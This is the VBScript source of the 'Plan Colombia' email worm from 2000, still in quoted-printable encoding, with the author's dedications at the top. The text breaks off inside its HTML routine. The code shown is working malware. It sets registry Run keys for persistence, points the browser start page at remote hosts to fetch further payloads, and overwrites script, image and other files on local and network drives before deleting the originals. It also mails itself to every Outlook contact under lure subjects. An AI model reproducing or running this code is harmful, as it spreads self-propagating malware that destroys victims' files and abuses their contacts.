=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D rem "Plan Colombia" virus v1.0 rem by Sand Ja9e Gr0w (www.colombia.com) rem Dedicated to all the people that want to be hackers or crackers, = in Colombia =20 rem This program is also a protest act against the violence and = corruption that Colombia lives... rem I always wanting that all this finishes, I have said... rem Santa fe de Bogot=E1 2000/09 rem I dedicate to all you the song "GoodBye" of Andreas Bochelli rem = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D rem Thanks God..! rem A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1" rem A greeting for "Tizo" from "Spain" rem And One kicked of tail to my friends, "eL ChE" and "ThE SpY" rem okay, ok...=20 rem my baby start here... =20 On Error Resume Next dim = fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye eq=3D"" ctr=3D0 randomize numero =3D Int(Rnd * 3) + 1 polye =3D ".GIF.vbs" If numero =3D 1 Then polye =3D ".BMP.vbs" Else If numero =3D 2 Then polye =3D ".JPG.vbs" End If End If polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye Set fso =3D CreateObject("Scripting.FileSystemObject") set file =3D fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=3Dfile.ReadAll main() If Day(Now) =3D 17 And Month(Now) =3D 9 Then MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & = Chr(13) & "Att. " & polyname(5) & " (M.H.M. TEAM)" killnet() End If sub main() On Error Resume Next dim wscr,rr set wscr=3DCreateObject("WScript.Shell") rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows = Scripting Host\Settings\Timeout") if (rr>=3D1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting = Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin =3D fso.GetSpecialFolder(0) Set dirsystem =3D fso.GetSpecialFolder(1) Set dirtemp =3D fso.GetSpecialFolder(2) Set c =3D fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\LINUX32.vbs") c.Copy(dirwin&"\reload.vbs") c.Copy(dirsystem&polyn) regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread,res regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX3= 2",dirsystem&"\LINUX32.vbs" regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService= s\reload",dirwin&"\reload.vbs" downread=3D"" downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Download Directory") if (downread=3D"") then downread=3D"c:\" end if rem acepta nombres largos..? if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then Randomize Randomize num =3D Int((4 * Rnd) + 1) rem fatal =3D> send virii if num =3D 2 then=20 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/macromedia32.zip" else rem oh,, a picture.. nice :) =20 if num =3D 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/linux321.zip" =20 else rem oh,, other picture =3D:() if num =3D 4 then regcreate "HKCU\Software\Microsoft\Internet = Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/linux322.zip" end if=20 end if =20 end if end if if (fileexist(downread&"\MACROMEDIA32.zip")=3D0) then res =3D Shell("copy " & downread & "\MACROMEDIA32.zip " & dirwin & = "\important_note.txt", vbHide) regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\plan = colombia",dirwin&"\important_note.txt" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" else if (fileexist(downread&"\linux321.zip")=3D0) then Kill (dirwin & "\logos.sys") res =3D Shell("copy " & downread & "\linux321.zip " & dirwin & = "\logos.sys", vbHide) regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" =20 else if (fileexist(downread&"\linux322.zip")=3D0) then Kill (dirwin & "\logow.sys") res =3D Shell("copy " & downread & "\linux322.zip " & dirwin & = "\logow.sys", vbHide) =20 regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" =20 end if =20 end if end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc =3D fso.Drives For Each d in dc If d.DriveType =3D 2 or d.DriveType=3D3 Then folderlist(d.path&"\") end if Next listadriv =3D s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f =3D fso.GetFolder(folderspec) set fc =3D f.Files for each f1 in fc ext=3Dfso.GetExtensionName(f1.path) ext=3Dlcase(ext) s=3Dlcase(f1.name) if (ext=3D"vbs") or (ext=3D"vbe") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close else if(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") or = (ext=3D"sct") or (ext=3D"hta") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=3Dfso.GetBaseName(f1.path) set cop=3Dfso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) =20 else if(ext=3D"jpg") or (ext=3D"jpeg") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=3Dfso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) =20 else if(ext=3D"mp3") or (ext=3D"mp2") then set mp3=3Dfso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=3Dfso.GetFile(f1.path) att.attributes=3Datt.attributes+2 end if end if end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f =3D fso.GetFolder(folderspec) set sf =3D f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit =3D CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit =3D CreateObject("WScript.Shell") regget=3Dregedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function sub spreadtoemail() On Error Resume Next dim = x,a,ctrlists,ctrentries,correoad,b,regedit,regv,regad,textosub,textobod set regedit=3DCreateObject("WScript.Shell") set out=3DWScript.CreateObject("Outlook.Application") set mapi=3Dout.GetNameSpace("MAPI") Randomize numero =3D Int(Rnd * 3) + 1 textosub =3D "" If numero =3D 1 Then textosub =3D "US PRESIDENT AND FBI SECRETS =3DPLEASE VISIT =3D> = (http://WWW.2600.COM)<=3D" Else If numero =3D 2 Then textosub =3D polyname(6) End If End If Randomize numero =3D Int(Rnd * 3) + 1 textobod =3D "" If numero =3D 1 Then textobod =3D "VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET = PICTURES.." Else If numero =3D 2 Then textobod =3D polyname(10) End If End If for ctrlists=3D1 to mapi.AddressLists.Count set a=3Dmapi.AddressLists(ctrlists) x=3D1 regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv=3D"") then regv=3D1 end if if (int(a.AddressEntries.Count)>int(regv)) then =20 for ctrentries=3D1 to a.AddressEntries.Count correoad=3Da.AddressEntries(x) regad=3D"" = regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&corr= eoad) if (regad=3D"") then set correo=3Dout.CreateItem(0) correo.Recipients.Add(correoad) correo.Subject =3D textosub correo.Body =3D vbcrlf&textobod correo.Attachments.Add(dirsystem&polyn) correo.Send regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&correoad,1,"REG_DWORD" end if x=3Dx+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addr= essEntries.Count else regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=3DNothing Set mapi=3DNothing end sub Function polyname(n) Dim i, vector, texto, pos on error resume next rem polyformic ( ohhhh yeahhh...) very good polyformic engine :() by = Sand Ja9e Gr0w vector =3D Array("A", "E", "I", "O", "U") texto =3D "" Randomize For i =3D 1 To n Randomize rem consonante texto =3D texto&Chr(Int((Rnd * 25) + 65)) i =3D i + 1 If i > n Then exit for end if rem vocal texto =3D texto&vector(Int((Rnd * 4) + 1)) Randomize Next polyname =3D texto End Function sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1=3D""&_ ""&vbcrlf& _ "

M.H.M TEAM

Colombia
- Please press #-#YES#-# = button for see secret pictures"&vbcrlf& _ "Hello = Colombia...! Since Here, after, since other part of World.. = "&vbcrlf& _ ""&vbcrlf& _ "